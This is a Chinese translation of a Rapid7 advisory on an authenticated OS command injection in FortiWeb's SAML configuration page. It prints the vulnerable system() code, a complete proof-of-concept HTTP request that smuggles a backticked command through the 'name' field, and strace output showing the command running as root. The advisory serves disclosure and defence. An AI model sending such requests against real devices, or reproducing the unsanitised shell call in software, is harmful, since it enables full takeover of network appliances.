FortiWeb 管理界面(版本 6.3.11 及更早版本)中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。这是CWE-78:操作系统命令中使用的特殊元素的不当中和(“操作系统命令注入”)的一个实例,其 CVSSv3 基本得分为8.7。此漏洞似乎与 CVE-2021-22123 相关,已在FG-IR-20-120 中解决。
00x01
Fortinet FortiWeb 是一种 Web 应用程序防火墙 (WAF),旨在在有机会执行之前捕获针对受保护 Web 应用程序的已知和未知漏洞利用。有关 FortiWeb 的更多信息,请访问供应商网站。
00x02
这个问题是由Rapid7 的研究员William Vu发现的。它是根据 Rapid7 的漏洞披露政策披露的。
00x03
攻击者首先通过 FortiWeb 设备管理界面的身份验证,可以在 SAML 服务器配置页面的“名称”字段中使用反引号走私命令。然后,这些命令以底层操作系统的 root 用户身份执行。受影响的代码如下所示:
int move_metafile(char *path,char *name) { int iVar1; char buf [512]; int nret; snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name); iVar1 = access(buf,0); if (iVar1 != 0) { snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name); iVar1 = system(buf); if (iVar1 != 0) { return iVar1; } } snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name, "Metadata",&DAT_00212758); iVar1 = system(buf); return iVar1; }
下面的 HTTP POST 请求和响应演示了利用此漏洞的示例:
POST /api/v2.0/user/remoteserver.saml HTTP/1.1 Host: [redacted] Cookie: [redacted] User-Agent: [redacted] Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://[redacted]/root/user/remote-user/saml-user/ X-Csrftoken: 814940160 Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412 Content-Length: 3068 Origin: https://[redacted] Dnt: 1 Te: trailers Connection: close -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="q_type" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="name" `touch /tmp/vulnerable` -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="entityID" test -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="service-path" /saml.sso -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-lifetime" 8 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="session-timeout" 30 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="sso-path" /SAML2/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind" post -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-bind_val" 1 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="slo-path" /SLO/POST -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="flag" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing" disable -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="enforce-signing_val" 0 -----------------------------94351131111899571381631694412 Content-Disposition: form-data; name="metafile"; filename="test.xml" Content-Type: text/xml <?xml version="1.0"?> <md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test"> <md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"> <md:KeyDescriptor use="signing"> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>test</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </md:KeyDescriptor> <md:KeyDescriptor use="encryption"> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>test</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </md:KeyDescriptor> <md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat> <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/> </md:IDPSSODescriptor> </md:EntityDescriptor> -----------------------------94351131111899571381631694412-- HTTP/1.1 500 Internal Server Error Date: Thu, 10 Jun 2021 11:59:45 GMT Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Set-Cookie: [redacted] X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff Content-Length: 20 Strict-Transport-Security: max-age=63072000 Connection: close Content-Type: application/json {"errcode": "-651"}
请注意,走私的“touch”命令连接在 mkdir shell 命令中:
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0 [pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0 [pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0 [pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0
最后,可以在 FortiWeb 设备的本地命令行上看到“touch”命令的结果:
/# ls -l /tmp/vulnerable -rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable /#
00x04
攻击者可以利用此漏洞以尽可能高的权限完全控制受影响的设备。他们可能会安装持久外壳、加密挖掘软件或其他恶意软件。万一管理界面暴露在互联网上,他们可以使用受感染的平台进入 DMZ 以外的受影响网络。但请注意,Rapid7 研究人员只能识别出不到三百个似乎将其管理界面暴露给一般互联网的设备。
请注意,虽然身份验证是此漏洞利用的先决条件,但此漏洞可能与另一个身份验证绕过问题相结合,例如CVE-2020-29015。
00x05
在没有补丁的情况下,建议用户从不受信任的网络(包括互联网)禁用 FortiWeb 设备的管理界面。一般来说,FortiWeb 等设备的管理界面无论如何都不应该直接暴露在互联网上——相反,它们应该只能通过受信任的内部网络或通过安全的 VPN 连接访问。
00x06
2021 年 6 月:Rapid7 的 William Vu 发现并验证了问题
2021 年 6 月 10 日星期四:通过供应商的PSIRT 联系表向供应商初步披露
2021 年 6 月 11 日星期五:供应商确认(票 132097)
2021 年 8 月 11 日,星期三:跟进供应商
2021 年 8 月 17 日,星期二:通过此帖子公开披露
2021 年 8 月 17 日,星期二:供应商表示 Fortiweb 6.4.1 预计将包含修复程序,并将于 8 月底发布
原文由https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/